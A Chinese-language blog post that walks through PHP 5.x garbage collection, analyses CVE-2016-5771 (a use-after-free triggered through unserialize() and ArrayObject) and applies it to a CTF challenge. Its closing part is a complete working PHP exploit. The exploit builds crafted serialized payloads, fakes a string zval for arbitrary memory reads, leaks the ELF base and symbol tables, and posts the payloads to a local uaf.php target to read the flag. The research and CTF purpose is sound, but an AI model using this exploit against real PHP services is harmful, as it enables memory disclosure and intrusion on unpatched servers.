PHP的gc机制:
- 为什么要有gc?
php是一个脚本语言,弱变量类型的语言,用户不用考虑变量内存的分配。一切都由php的vm提供,在<5.3一下的时候,php使用的是引用计数来实现的gc,但是没办法解决自身的引用如下: 1
2$a = array(0=>$&a);
unset($a);_zval_gc_info
结构,引用计数也保存在zval结构下。 1
2
3
4
5
6
7typedef struct _zval_gc_info {
zval z;
union {
gc_root_buffer *buffered;
struct _zval_gc_info *next;
} u;
} zval_gc_info;
这个问题开始确实迷惑我了,以为所有变量都会参与到gc的cycle里面,只有array 和 object 的引用计数在减少的时候才有可能加入gc的root-buffer里面。
- gc的root-buffer什么时候会增加? 即什么才算是疑似垃圾的变量?
一个zval可能被引用很多次,如果某个时刻它的ref等于0的时候,这个时候才会去考虑真正的去释放掉这块内存,那么疑似垃圾怎么来定义呢?看下面释放zval的过程
1 | static zend_always_inline void i_zval_ptr_dtor(zval *zval_ptr ZEND_FILE_LINE_DC TSRMLS_DC) |
这是一个分支结构,首先会ref--,如果说引用计数为0,那么就真的去释放掉这个zval,并且如果这个zval存在与gc的root-buffer里面话,也会把这个zval从root-buffer删掉,root-buffer是个双链表结构,每次都从gc_globals->roots插入,也相当于一个FILO的结构。
再看另外一个分支,即ref--后,引用计数不为零,这个时候会去判断是不是possible_root可能根, 实际上就是把这个zval考虑加入root-buffer,同时标紫,这个就得将细节标色法了,后面再说。root名根,即一个zval变量在root-buffer只能存在一个,这个也是用标记法来判断的,只有黑色的时候才能考虑去标紫。
这个时候比较清楚了,即变量引用计数减少时,且减少之后不为0,zval的变量类型为array或者为object的时候。
上面三个问题应该是在了解gc过程中比较常见的问题。具体来看CVE-2016-5771
1 |
|
在理解整个漏洞形成过程中其实不太容易的,如果你对gc和serialize的过程不太理解的话。很显然从输出结果来看这是一个UAF,$outer_array
被意外的释放掉了。那么反过来想,结合gc,又不是反序列的问题,那么肯定是在处理gc的时候$outer_array
引用计数肯定被减少为0,被当成垃圾释放掉了。还必须得深入到gc_collect_cycles里面去看才行。
这个$outer_array的结构如下: 1
2
3
4
5
6
7
8
9
10
11
12array(1) { //外层数组
[1]=>
object(ArrayObject)#1 (1) {
["storage":"ArrayObject":private]=>
&array(2) { //内层数组
[1]=>
*RECURSION* //对内层数组的引用
[2]=>
*RECURSION* //对外层数组的引用
}
}
}gc_collect_cycles
,看一下此时gc_root_buffer的可能垃圾根 1
2
3
4
5
6
7[0x7ffff7bb37b0] (refcount=2) array(1): {
1 => [0x7ffff7bb6188] (refcount=1) object(ArrayObject) #1
}
[0x7ffff7bb4dd0] (refcount=2,is_ref) array(2): {
1 => [0x7ffff7bb4dd0] (refcount=2,is_ref) array(2):
2 => [0x7ffff7bb37b0] (refcount=2) array(1):
}
首先看是如何获得ArrayObject内部子元素的 1
2
3
4
5
6if (EXPECTED(EG(objects_store).object_buckets[Z_OBJ_HANDLE_P(pz)].valid &&
(get_gc = Z_OBJ_HANDLER_P(pz, get_gc)) != NULL)) {
int i, n;
zval **table;
HashTable *props = get_gc(pz, &table, &n TSRMLS_CC);1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19/*
#0 spl_array_get_properties (object=0x7ffff7bb6028) at /root/php-src/ext/spl/spl_array.c:796
#1 0x00005555558609b2 in zend_std_get_gc (object=0x7ffff7bb6028, table=0x7fffffffa608, n=0x7fffffffa614) at /root/php-src/Zend/zend_object_handlers.c:121
*/
static HashTable *spl_array_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
...
result = spl_array_get_hash_table(intern, 1 TSRMLS_CC);
intern->nApplyCount--;
return result;
}
static inline HashTable *spl_array_get_hash_table(spl_array_object* intern, int check_std_props TSRMLS_DC) { /* {{{ */
...
} else {
return HASH_OF(intern->array);
}
} /* }}} */1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17...
p = props->pListHead;
...
while (p != NULL) {
pz = *(zval**)p->pData;
if (Z_TYPE_P(pz) != IS_ARRAY || Z_ARRVAL_P(pz) != &EG(symbol_table)) {
pz->refcount__gc--;
}
if (p->pListNext == NULL) {
goto tail_call;
} else {
zval_mark_grey(pz TSRMLS_CC);
}
p = p->pListNext;
}
}1
2
3
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
------exchange---- 1
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:1;i:2;r:4;};m:a:0:{}}}';
1
2
3
4
5
6
7
8GC buffer content:
[0x7ffff7bb4c70] (refcount=2) array(2): {
1 => [0x7ffff7bb3650] (refcount=1) array(1):
2 => [0x7ffff7bb4c70] (refcount=2) array(2):
}
[0x7ffff7bb3650] (refcount=1) array(1): {
1 => [0x7ffff7bb6028] (refcount=2) object(ArrayObject) #1
}
综上,这个cve的精髓总结一下,如果用ArrayObject包含目标zval的引用,在精心的构造上,是可以造成二次递减的。我从一个最简单的应用,具体开始本文的分析。 1
2
3
4
5
6array{ //1
0 =>ArrayObject{
&$1
}
1 => &$1
}1
2
3
4
5
6
7
8
9=>array_$1
=> ArrayObject_ref-1
=> $1 }
=>ArrayObject_ref-1 } =====> ArrayObject_dec
=>ret }
=>$1_ref-1 }
=>ret }
=>$1_ref-1
=>ret
再就上面这个例子我们再继续研究。现在针对上面例子做一个改进:
- 让外层array_ref递减为0
- 保证ArrayObject也为0。(这一步就是上面提到的包含关系)
先做第一个改进,让array_ref递减为0,上面例子可能你看不出来什么,如果我们再加一个array的引用如下: 1
2
3
4
5
6
7array{ //1
0 =>ArrayObject{
&$1
}
1 => &$1
2 => &$1
}1
2
3
4
5
6
7
8
9
10
11
12=>array_$1 #grey
=> ArrayObject_ref-1 #grey }
=> $1 }
=>ArrayObject_ref-1 } =====> ArrayObject_dec
=>ret }
=>$1_ref-1 }
=>ret }
=>$1_ref-1 }
=>ret }
=>$1_ref-1
=>ret
=>$1_ref-1
从前面的poc来看,必须得触发gc才行,前面是通过gc_collect_cycles()来触发的,如果你想要远程触发这个漏洞的话,你可能做不到调用这个函数,最多就只是一个unserialize()在等着你。非手工的触发gc,gc的默认机制是当存储的垃圾可能根达到阀值以后触发,这个默认值一般是10000。
有没有办法通过unserialize()来制造垃圾的可能根呢?那是肯定的,你不用去细想就会有一处,就是在最后unserialize()结束的时候使用var_destory()来删除unserialize()过程中产生多余的zval引用的时候。几乎每一个创建zval都会涉及到,这样来说只要创建够多的zval,那么在这一步就会触发gc。
但是这其中是有问题的,仔细想的话,会产生一个矛盾的现象。
考虑ArrayObject的ref如何变成0? 我需要调整ArrayObject的ref,新增的ArrayObject引用肯定不能再放在目标array里面,这样只会减的更多的,那需要放在目标数组的外面,这样就能单纯的增加ArrayObject的引用,用来调整前面多的递减。
问题来了,把ArrayObject放目标数组外面,外面怎么理解呢? 相当于有分支结构了。那么目标数组肯定又是某个zval的子节点了,如果是某个zval的子节点,那么在var_destory处理过程中处理目标数组的引用之前,肯定已经处理过这个zval的引用了。又回到了原来之前的问题下,如果目标数组在某个ref不为0的zval下,目标array的ref是会被恢复的。又开始循环了,我们得跳出这个圈子。
细细想来出现上面的问题的原因在于,目标array的父节点被当做垃圾可能根,这就导致在gc的时候目标array_ref间接被恢复。通过var_destory来触发gc的时间对于现在的情况来说太晚了,能不能更早一点,单纯的只把我们的目标array放到gc的root_buffer里面呢?
那么在var_destory之前有没有办法去减少某个zval的引用呢,来填充gc的root_buffer?答案是肯定有,unserialize过程是允许下面的写法的:
1 | $a = "a:3:{i:0;a:0:{}i:0;a:0:{}i:0;a:0:{}}"; |
在创建array的时候,会先拿到key,通过key去array所在的HashTable中找对应的bucket,所以这里是存在相同key值的bucket的update过程,这一步会减少旧的bucket里面zval的引用。如果目标数组index和垃圾值的index一样,只要垃圾值够多,就能触发gc,并且直接把目标array放到了gc_root_buffer里面。那么gc的root-buffer里面只会存在目标数组zval和垃圾值的zval和其他一些无关紧要的zval,这样的情况就是我们的理想情况。
现在找到了合理的触发gc的方式,但是我们的ArrayObject_ref目前为止还是没有为0,现在情况变了,前面是发生在unserialize之后,现在是处于的unserialize的过程里面,如果现在增加一个ArrayObject的引用相当于增加2个,即ref+2,因为var_hash里面会保存一个ArrayObject的引用。
增加一个ArrayObject的引用 ref+2
,但目前来看我们的例子里面ArrayObject只多递减了一次,我们必须得考虑这两者之间的数量级关系。
现在再来看我们的例子,需要略微改变一下: 1
2
3
4
5
6
7
8
9
10
11
12
13array{
0=>array{ //2 $2_ref=8
0 =>ArrayObject{ //$3_ref=2 |
&$2 | =====>ArrayObject_dec
} |
1 => &$2
2 => &$2
},
0=>array{},
0=>array{},
0=>array{},
... //garbage
}
这时候如果再通过gc标灰,ArrayObject_ref能递减成0,而目标数组$2却只能递减4次,这远远不够,如果这个时候还是像前面的单纯增加目标数组的引用显然已经不行了,现在加一个$2, ref直接+2,2增1减,效果不理想。
我们还是得增加$2的引用,但是得让它递减的更多。如果我再加一个新的ArrayObject_dec的结构呢? 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16array{
0=>array{ //2 $2_ref=8
0 =>ArrayObject{ //$3_ref=2 |
&$2 | =====>ArrayObject_dec
} |
1 => &$2,
2 => &$2,
3 =>ArrayObject{ // |
&$2 | =====>ArrayObject_dec
} |
},
0=>array{},
0=>array{},
0=>array{},
... //garbage
}1
2
3
4
5
6
7ref_1 = (x+y+1)*2 //目标数组总引用数
ref_2 = 2 //单个ArrayObject的引用数
dec_1 = (x+1)y //目标数组递减的引用数
dec_2 = (x+1) //单个ArrayObject的引用递减数
2 - (x+1) == 2n //ArrayObject引用递减以后必须为负偶数
(x+1)y == (x+y+1)*2 //目标数组引用递减为0
我就不往下算了,下面还有很多适合的条件。这里取需要3个ArrayObject_dec 和 4个$2。如下: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26array{
0=>array{ //2
1 =>ArrayObject{ //3 |
&$2 | =====>ArrayObject_dec
} |
2 =>ArrayObject{ //7 |
&$2 | =====>ArrayObject_dec
} |
3 =>ArrayObject{ //11 |
&$2 | =====>ArrayObject_dec
} |
4 => &$2,
5 => &$2,
6 => &$2,
7 => &$2,
},
1=>array{ //inc ArrayObject_ref
0 => &$3,
1 => &$7,
2 => &$11,
},
0=>array{},
0=>array{},
0=>array{},
... //garbage
}
此时ArrayObject_ref会被递减成-2,这里需要在后面增加ArrayObject的引用使其正好为0,现在这个情况下目标数组可以被完美释放。如果你不确定的话,可以在gc_collect_cycles下个断,调一下看看目标array是否被加入了gc的freelist。接着我们需要去思考被释放的目标数组,会被如何重用。
php的内存管理和linux的slub有那么一点相似,但你只需要知道相同的size的chunk和malloc的fastbin一样是FIFO链表结构。
那么在这里释放顺序对于我们来说是比较重要的,再谈GC,gc标灰以后,再把ref不为0的zval全部恢复,这其中就包括子zval也会被恢复,再将ref=0的节点标白,最后再次变量收集白色节点,放到free_list,free_list也是个FIFO结构。
放进free_list按照遍历的顺序,最先的应该是目标数组,再接着3个ArrayObject。接着依次释放free_list中zval的内部元素,最后再释放zval。那么目标数组的zval则是最后释放的。
我们就先把眼光局限在这4块sizeof(zval_gc_info)的chunk上即size为32的chunk上,在php里面说chunk似乎不太准确,mmap分配的才叫chunk,这里我们干脆称它们为obj。
这个时候释放以后,你可以在_emalloc()下个断,可以很方便的跟踪4个obj被释放以后的去向,如果填充的垃圾数目够多,那么重新申请的过程应该如下: 1
2i:0; a:0:{} i:0; a:0:{}
obj obj obj obja:0:{}
好理解空数组,i:0
表示的是数组里面key值,也是一个类型为long的zval。如果我们在目标数组以外再使用这4obj的引用即目标数组和ArrayObject的引用,就能得到不一样的zval引用,地址指向相同,内容发生了变化。
那么如何去利用这个过程呢?最好的情况是我们能伪造zval,如果伪造一个string类型的zval,那么我们就可以leak任意地址的数据,如何伪造假的string类型的zval呢? 1
i:999;s:4:"aaaa";
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18struct _zval_struct{
zvalue_value value;
zend_uint refcount__gc;
zend_uchar type;
zend_uchar is_ref__gc;
}
union _zvalue_value{
long lval;
double dval;
struct {
char *val;
int len;
} str;
HashTable *ht;
zend_object_value obj;
zend_ast *ast;
}str.val
和 str.len
leak任意地址。但是问题是去哪里读?至少我们得知道php的elf地址吧!
对于这个问题都有比较通用的方法就是在堆上找残留text节或者data节或者bss节上的指针。这个时候需要变换一下思路。得让_efree()
给我们设置fake_string_zval上的str.val
.
按照上面的思路,我们得让我们的fake_string_zval二次释放。这个时候我想到了一个东西,array的index除了可以数字以外,还可以用字符串。而且在unserialize()处理array中是会把index值放在一个zval里面的,同时后面var_destory()会将其释放。
这个时候我们的fake_string_zval的str.val
就变成了堆上一地址。通过调整str.len
遍历堆上的内容,堆上肯定有Hashtable的结构,这过程生成很多array和object,他们都包含有HashTable的结构,有HashTable结构代表什么呢?HashTable里面有一个pDestructor的函数指针通常是指向_zval_ptr_dtor
用来释放zval的函数。
这样就能拿到一个php二进制里面的地址,下面leak elf和符号表这里不再叙述,就这个地方我出了一道题,如下: 1
2$flag="lalalalllalala";
echo(unserialize(base64_decode($_POST['az'])));zend_op_array->literals
,这是一个结构体数组指针,我们只需要去遍历它就可以找到flag。
接下来问题就是怎么找到opcode_array这个结构,执行器的执行单元就是opcode_array,所以是可能存在多个opcode_array,用户的自定义函数调用就涉及到多个opcode_array的切换,显然本题没有用户自定义的函数调用,相应于变量域的切换,所以只有一个opcode_array结构,执行器的相关结构都存储在executor_globals
这个全局变量上。executor_globals->active_op_array
保存着当前正在执行的opcode_array。有了opcode_array根据前面的流程你就能找到flag。
关于executor_globals符号地址获取,具体看exp是比较常规的leak方法。本文主要重点在阐述 CVE-2016-5771利用,题目的讲解是其次,也看的出来了解该cve的利用以后,其实题目是非常非常的简单。该cve从原理上来说,是有一些难度,我每次看它也会有不一样的体会。但是我想难度更大的是在作者是怎样发现它?这是我最为感兴趣的。
上述题目exp如下: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220/**/
/*./buildconf --force && ./configure --prefix=/root/php-5.6.20 --disable-all --with-apxs2=/usr/bin/apxs && make && make install */
/*uaf*/
define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);
define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);
function gadget_leak(){
$fake_zval_string = pack("Q", 0x555555554000).pack("Q", 128).str_repeat("\x06", 8);
$encoded_string = str_replace("%", "\\", urlencode($fake_zval_string));
$fake_zval_string = 'S:'.strlen($fake_zval_string).':"'.$encoded_string.'";';
$overflow_gc_buffer = '';
for($i = 0; $i < NUM_TRIGGER_GC_ELEMENTS; $i++) {
$overflow_gc_buffer .= 'i:0;O:8:"stdClass":0:{}';
$overflow_gc_buffer .=$fake_zval_string.$fake_zval_string;
}
$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';
$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';
$free_me = 'a:7:{i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.$target_references.'}';
$adjust_rcs = 'i:99999;a:3:{i:0;r:4;i:1;r:8;i:2;r:12;}';
$trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS*2).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';
$stabilize_fake_zval_string = 'i:0;i:4;i:1;i:4;i:2;i:4;i:3;i:4;';
$payload = 'a:6:{'.$trigger_gc.$stabilize_fake_zval_string.'i:4;r:4;}';
return base64_encode($payload);
}
function gadget_read($address,$len){
$fake_zval_string = pack("Q", $address).pack("Q", $len).str_repeat("\x06", 8);
$encoded_string = str_replace("%", "\\", rawurlencode($fake_zval_string));
$fake_zval_string = 'S:'.strlen($fake_zval_string).':"'.$encoded_string.'";';
$overflow_gc_buffer = '';
for($i = 0; $i < NUM_TRIGGER_GC_ELEMENTS; $i++) {
$overflow_gc_buffer .= 'i:0;a:0:{}';
$overflow_gc_buffer .= 'i:'.$i.';'.$fake_zval_string;
}
$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';
$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';
$free_me = 'a:7:{i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.$target_references.'}';
$adjust_rcs = 'i:99999;a:3:{i:0;r:4;i:1;r:8;i:2;r:12;}';
$trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS*2).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';
$stabilize_fake_zval_string = 'i:0;r:4;i:1;r:4;i:2;r:4;i:3;r:4;';
$payload = 'a:6:{'.$trigger_gc.$stabilize_fake_zval_string.'i:4;r:8;}';
$rep = send(base64_encode($payload));
$decode = unserialize(base64_decode($rep));
return $decode[4];
}
function gadget_leak_elf_base($midaddr){
$addrdec = hexdec($midaddr) & (~0xfff);
$i = 0;
while(1){
$str = gadget_read($addrdec,4);
if($str == "\x7fELF"){
echo "[*]:leak libphp.so elf base:";
var_dump(dechex($addrdec));
return $addrdec;
}
//$i++;
$addrdec = $addrdec -0x1000;
}
}
function send($payload){
$opt['http'] = array(
'timeout'=>60,
'method' => 'POST',
'header' => 'Content-type:application/x-www-form-urlencoded',
'content' => 'az='.$payload,
);
$url = "http://127.0.0.1/uaf.php";
$context = stream_context_create($opt);
$res = file_get_contents($url,false,$context);
return $res;
}
function gadget_get_dynamic($pht,$phz){
while (1) {
echo dechex($pht)."\n";
$str= gadget_read($pht,4);
$type = unpack("Vtype",$str)["type"];
if($type == 2){
echo "[*] Phr of dynamic : ";
var_dump(dechex($pht));
return $pht;
}
$pht = $pht+$phz;
}
}
function gadget_get_executor_global($phr,$elf_base){
$str = gadget_read($phr+0x10,8);
$dyn = $elf_base+unpack("Qoffset", $str)["offset"];
echo "[*] dynamic address :";
var_dump(dechex($dyn));
$flag = 0;
while(1){
$str = gadget_read($dyn,0x10);
//echo rawurlencode($str)."\n";
$type = unpack("Qtype",$str)["type"];
if($type == 5){
$offset = gadget_read($dyn+0x8,0x8);
//echo rawurlencode($offset);
$strtab = unpack("Qoffset",$offset)["offset"];
$flag++;
}else if($type == 6){
$offset = gadget_read($dyn+0x8,0x8);
//echo rawurlencode($offset);
$symtab = unpack("Qoffset",$offset)["offset"];
$flag++;
}
if($flag == 2){
break;
}
$dyn = $dyn+0x10;
}
echo "[*] symtab address : ";
var_dump(dechex($symtab));
echo "[*] strtab address : ";
var_dump(dechex($strtab));
//executor_globals\x00
while(1){
$offset = gadget_read($symtab,4);
$str_offset = $strtab + unpack("Voffset",$offset)["offset"];
$str = gadget_read($str_offset,17);
var_dump($str);
if($str == "executor_globals\x00"){
$ex_addr_offset = gadget_read($symtab+0x8,8);
$ex_addr = unpack("Qoffset",$ex_addr_offset)["offset"];
break;
}
$symtab = $symtab+0x18;
}
echo "[*] executor_globals addr : ";
var_dump(dechex($ex_addr));
return $ex_addr+$elf_base;
}
$leak = gadget_leak();
$rep = send($leak);
$decode = unserialize(base64_decode($rep));
$zval_ptr_dtor_addr = dechex(unpack("Qaddress", (substr($decode[4],120,8)))["address"]);
echo "[*]leak zval_ptr_dtor_addr:";
var_dump($zval_ptr_dtor_addr);
$elf_base = gadget_leak_elf_base($zval_ptr_dtor_addr);
$str = gadget_read($elf_base,100);
$pht = unpack("Qoffset", substr($str,0x20,8))["offset"];
$phz = unpack("voffset", substr($str,0x36,8))["offset"];
echo "[*] PHT : ";
var_dump($pht);
echo "[*] PHZ : ";
var_dump($phz);
$phr_dyn = gadget_get_dynamic($pht+$elf_base,$phz);
$executor_globals_addr = gadget_get_executor_global($phr_dyn,$elf_base);
//[*] executor_globals addr : string(6) "4d8d60"
$active_opcode_addr = unpack("Qaddress",gadget_read($executor_globals_addr+0x210,8))["address"];
$literals_addr = unpack("Qaddress",gadget_read($active_opcode_addr+0xb8,8))["address"];
$zval_strptr = unpack("Qaddress",gadget_read($literals_addr,8))["address"];
$flag = gadget_read($zval_strptr,50);
echo $flag;